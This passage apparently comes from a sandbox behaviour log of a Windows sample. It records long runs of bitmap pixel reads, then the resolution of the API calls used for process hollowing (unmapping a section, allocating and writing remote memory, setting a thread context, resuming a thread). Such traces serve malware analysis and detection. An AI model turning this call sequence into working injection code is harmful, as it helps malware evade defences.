(bitmap=0x5b7f3b8, x=284, y=276, color=0x19eed4) returned 0x0 [0159.240] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.240] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.240] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=277, color=0x19eed4) returned 0x0 [0159.241] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.241] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.241] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=278, color=0x19eed4) returned 0x0 [0159.241] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.241] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.241] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=279, color=0x19eed4) returned 0x0 [0159.241] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.241] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.241] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=280, color=0x19eed4) returned 0x0 [0159.241] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.241] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.241] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=281, color=0x19eed4) returned 0x0 [0159.241] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.241] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.241] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=282, color=0x19eed4) returned 0x0 [0159.241] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.241] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=283, color=0x19eed4) returned 0x0 [0159.241] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.241] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=284, color=0x19eed4) returned 0x0 [0159.241] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.242] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=285, color=0x19eed4) returned 0x0 [0159.242] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.242] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=286, color=0x19eed4) returned 0x0 [0159.242] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.242] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=287, color=0x19eed4) returned 0x0 [0159.242] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.242] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=288, color=0x19eed4) returned 0x0 [0159.242] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.242] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=289, color=0x19eed4) returned 0x0 [0159.242] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.242] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=290, color=0x19eed4) returned 0x0 [0159.242] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.243] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=291, color=0x19eed4) returned 0x0 [0159.243] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.243] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=292, color=0x19eed4) returned 0x0 [0159.243] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.243] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=293, color=0x19eed4) returned 0x0 [0159.243] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.243] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=294, color=0x19eed4) returned 0x0 [0159.243] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.243] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=295, color=0x19eed4) returned 0x0 [0159.243] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.243] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=296, color=0x19eed4) returned 0x0 [0159.243] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.243] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=297, color=0x19eed4) returned 0x0 [0159.243] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.244] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=298, color=0x19eed4) returned 0x0 [0159.244] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.244] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=299, color=0x19eed4) returned 0x0 [0159.244] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.244] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=300, color=0x19eed4) returned 0x0 [0159.244] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.244] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=301, color=0x19eed4) returned 0x0 [0159.244] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.244] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=302, color=0x19eed4) returned 0x0 [0159.244] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.244] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=303, color=0x19eed4) returned 0x0 [0159.244] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.244] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=304, color=0x19eed4) returned 0x0 [0159.244] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.245] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=305, color=0x19eed4) returned 0x0 [0159.245] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.245] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=306, color=0x19eed4) returned 0x0 [0159.245] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.245] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=307, color=0x19eed4) returned 0x0 [0159.245] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.245] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=308, color=0x19eed4) returned 0x0 [0159.245] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.245] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=309, color=0x19eed4) returned 0x0 [0159.245] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.245] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=310, color=0x19eed4) returned 0x0 [0159.245] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.245] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=311, color=0x19eed4) returned 0x0 [0159.245] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.245] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=312, color=0x19eed4) returned 0x0 [0159.246] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.246] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=313, color=0x19eed4) returned 0x0 [0159.246] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.248] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=314, color=0x19eed4) returned 0x0 [0159.248] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.248] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=315, color=0x19eed4) returned 0x0 [0159.248] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.248] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=316, color=0x19eed4) returned 0x0 [0159.248] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.248] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=317, color=0x19eed4) returned 0x0 [0159.249] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.249] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=318, color=0x19eed4) returned 0x0 [0159.249] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.250] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=319, color=0x19eed4) returned 0x0 [0159.250] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.250] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=320, color=0x19eed4) returned 0x0 [0159.250] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.250] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=321, color=0x19eed4) returned 0x0 [0159.251] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.251] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=322, color=0x19eed4) returned 0x0 [0159.251] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.251] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=323, color=0x19eed4) returned 0x0 [0159.251] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.253] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=324, color=0x19eed4) returned 0x0 [0159.253] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.253] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=325, color=0x19eed4) returned 0x0 [0159.253] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.253] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=326, color=0x19eed4) returned 0x0 [0159.253] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.253] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=327, color=0x19eed4) returned 0x0 [0159.253] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.253] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=328, color=0x19eed4) returned 0x0 [0159.253] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.253] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=329, color=0x19eed4) returned 0x0 [0159.254] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.254] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=330, color=0x19eed4) returned 0x0 [0159.254] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.254] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=331, color=0x19eed4) returned 0x0 [0159.254] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.254] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=332, color=0x19eed4) returned 0x0 [0159.254] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.254] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=333, color=0x19eed4) returned 0x0 [0159.254] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.254] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=334, color=0x19eed4) returned 0x0 [0159.254] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.254] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=335, color=0x19eed4) returned 0x0 [0159.254] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.254] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=336, color=0x19eed4) returned 0x0 [0159.254] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.254] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=337, color=0x19eed4) returned 0x0 [0159.255] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.255] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=338, color=0x19eed4) returned 0x0 [0159.255] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.255] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=339, color=0x19eed4) returned 0x0 [0159.255] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.255] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=340, color=0x19eed4) returned 0x0 [0159.255] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.255] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=341, color=0x19eed4) returned 0x0 [0159.255] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.255] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=342, color=0x19eed4) returned 0x0 [0159.255] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.255] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=343, color=0x19eed4) returned 0x0 [0159.255] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.255] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=344, color=0x19eed4) returned 0x0 [0159.255] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.258] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=345, color=0x19eed4) returned 0x0 [0159.258] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.258] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=346, color=0x19eed4) returned 0x0 [0159.258] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.258] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=347, color=0x19eed4) returned 0x0 [0159.258] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.258] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=348, color=0x19eed4) returned 0x0 [0159.258] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.258] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=349, color=0x19eed4) returned 0x0 [0159.258] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.259] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=350, color=0x19eed4) returned 0x0 [0159.259] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.259] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=351, color=0x19eed4) returned 0x0 [0159.259] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.259] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=352, color=0x19eed4) returned 0x0 [0159.259] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.259] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=353, color=0x19eed4) returned 0x0 [0159.259] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.259] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=354, color=0x19eed4) returned 0x0 [0159.259] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.259] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=355, color=0x19eed4) returned 0x0 [0159.259] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.259] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=356, color=0x19eed4) returned 0x0 [0159.259] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.259] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=357, color=0x19eed4) returned 0x0 [0159.260] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.260] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=358, color=0x19eed4) returned 0x0 [0159.260] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.260] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=359, color=0x19eed4) returned 0x0 [0159.260] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.260] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=360, color=0x19eed4) returned 0x0 [0159.260] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.260] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=361, color=0x19eed4) returned 0x0 [0159.260] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.260] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=362, color=0x19eed4) returned 0x0 [0159.260] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.260] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=363, color=0x19eed4) returned 0x0 [0159.260] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.260] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=364, color=0x19eed4) returned 0x0 [0159.261] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.261] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=365, color=0x19eed4) returned 0x0 [0159.364] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91600, lpName=0x0) returned 0x2fc [0159.364] memcpy (in: _Dst=0x20a0000, _Src=0x3dae660, _Size=0x91600 | out: _Dst=0x20a0000) returned 0x20a0000 [0159.368] CloseHandle (hObject=0x2fc) returned 1 [0160.864] CoTaskMemAlloc (cb=0xd) returned 0x72b688 [0160.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x2400460, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0160.864] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0160.865] CoTaskMemFree (pv=0x72b688) [0160.871] CoTaskMemAlloc (cb=0x11) returned 0x71cf00 [0160.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResumeThread", cchWideChar=12, lpMultiByteStr=0x240079c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResumeThread", lpUsedDefaultChar=0x0) returned 12 [0160.872] GetProcAddress (hModule=0x76720000, lpProcName="ResumeThread") returned 0x7673a800 [0160.872] CoTaskMemFree (pv=0x71cf00) [0160.885] CoTaskMemAlloc (cb=0xd) returned 0x72b5e0 [0160.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x2400f74, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0160.885] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0160.886] CoTaskMemFree (pv=0x72b5e0) [0160.886] CoTaskMemAlloc (cb=0x1a) returned 0x737688 [0160.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wow64SetThreadContext", cchWideChar=21, lpMultiByteStr=0x2400fac, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wow64SetThreadContext", lpUsedDefaultChar=0x0) returned 21 [0160.886] GetProcAddress (hModule=0x76720000, lpProcName="Wow64SetThreadContext") returned 0x76763e60 [0160.886] CoTaskMemFree (pv=0x737688) [0160.917] CoTaskMemAlloc (cb=0xd) returned 0x72b820 [0160.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x2401078, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0160.917] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0160.917] CoTaskMemFree (pv=0x72b820) [0160.917] CoTaskMemAlloc (cb=0x15) returned 0x71cf00 [0160.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetThreadContext", cchWideChar=16, lpMultiByteStr=0x24010b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetThreadContext", lpUsedDefaultChar=0x0) returned 16 [0160.918] GetProcAddress (hModule=0x76720000, lpProcName="SetThreadContext") returned 0x76762490 [0160.918] CoTaskMemFree (pv=0x71cf00) [0160.920] CoTaskMemAlloc (cb=0xd) returned 0x72b760 [0160.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x2401178, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0160.920] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0160.921] CoTaskMemFree (pv=0x72b760) [0160.921] CoTaskMemAlloc (cb=0x1a) returned 0x737688 [0160.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wow64GetThreadContext", cchWideChar=21, lpMultiByteStr=0x24011b0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wow64GetThreadContext", lpUsedDefaultChar=0x0) returned 21 [0160.921] GetProcAddress (hModule=0x76720000, lpProcName="Wow64GetThreadContext") returned 0x76763e30 [0160.922] CoTaskMemFree (pv=0x737688) [0160.925] CoTaskMemAlloc (cb=0xd) returned 0x72b748 [0160.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x240127c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0160.925] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0160.925] CoTaskMemFree (pv=0x72b748) [0160.925] CoTaskMemAlloc (cb=0x15) returned 0x71ce20 [0160.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetThreadContext", cchWideChar=16, lpMultiByteStr=0x24012b4, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThreadContext", lpUsedDefaultChar=0x0) returned 16 [0160.926] GetProcAddress (hModule=0x76720000, lpProcName="GetThreadContext") returned 0x7673ec60 [0160.926] CoTaskMemFree (pv=0x71ce20) [0160.929] CoTaskMemAlloc (cb=0xd) returned 0x72b7f0 [0160.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x2401370, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0160.930] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0160.930] CoTaskMemFree (pv=0x72b7f0) [0160.930] CoTaskMemAlloc (cb=0x13) returned 0x71cd20 [0160.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualAllocEx", cchWideChar=14, lpMultiByteStr=0x24013a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VirtualAllocEx", lpUsedDefaultChar=0x0) returned 14 [0160.930] GetProcAddress (hModule=0x76720000, lpProcName="VirtualAllocEx") returned 0x76762730 [0160.931] CoTaskMemFree (pv=0x71cd20) [0160.940] CoTaskMemAlloc (cb=0xd) returned 0x72b748 [0160.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x2401464, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0160.940] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0160.940] CoTaskMemFree (pv=0x72b748) [0160.940] CoTaskMemAlloc (cb=0x17) returned 0x71cd20 [0160.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WriteProcessMemory", cchWideChar=18, lpMultiByteStr=0x240149c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WriteProcessMemory", lpUsedDefaultChar=0x0) returned 18 [0160.941] GetProcAddress (hModule=0x76720000, lpProcName="WriteProcessMemory") returned 0x76762850 [0160.941] CoTaskMemFree (pv=0x71cd20) [0160.948] CoTaskMemAlloc (cb=0xd) returned 0x72b730 [0160.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x2401560, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0160.948] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0160.948] CoTaskMemFree (pv=0x72b730) [0160.948] CoTaskMemAlloc (cb=0x16) returned 0x71cec0 [0160.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ReadProcessMemory", cchWideChar=17, lpMultiByteStr=0x2401598, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadProcessMemory", lpUsedDefaultChar=0x0) returned 17 [0160.949] GetProcAddress (hModule=0x76720000, lpProcName="ReadProcessMemory") returned 0x76761c80 [0160.949] CoTaskMemFree (pv=0x71cec0) [0160.984] CoTaskMemAlloc (cb=0xa) returned 0x72b658 [0160.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ntdll", cchWideChar=5, lpMultiByteStr=0x2401658, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ntdll", lpUsedDefaultChar=0x0) returned 5 [0160.988] LoadLibraryA (lpLibFileName="ntdll") returned 0x771d0000 [0160.988] CoTaskMemFree (pv=0x72b658) [0160.988] CoTaskMemAlloc (cb=0x19) returned 0x737688 [0160.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ZwUnmapViewOfSection", cchWideChar=20, lpMultiByteStr=0x2401684, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZwUnmapViewOfSection", lpUsedDefaultChar=0x0) returned 20 [0160.989] GetProcAddress (hModule=0x771d0000, lpProcName="ZwUnmapViewOfSection") returned 0x77246f40 [0160.989] CoTaskMemFree (pv=0x737688) [0160.997] CoTaskMemAlloc (cb=0xd) returned 0x72b820 [0160.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x240174c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0160.997] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0160.997] CoTaskMemFree (pv=0x72b820) [0160.997] CoTaskMemAlloc (cb=0x13) returned 0x71ce20 [0160.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateProcessA", cchWideChar=14, lpMultiByteStr=0x2401784, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateProcessA", lpUsedDefaultChar=0x0) returned 14 [0160.998] GetProcAddress (hModule=0x76720000, lpProcName="CreateProcessA") returned 0x76760750 [0160.998] CoTaskMemFree (pv=0x71ce20) [0161.183] GetFullPathNameW (in: 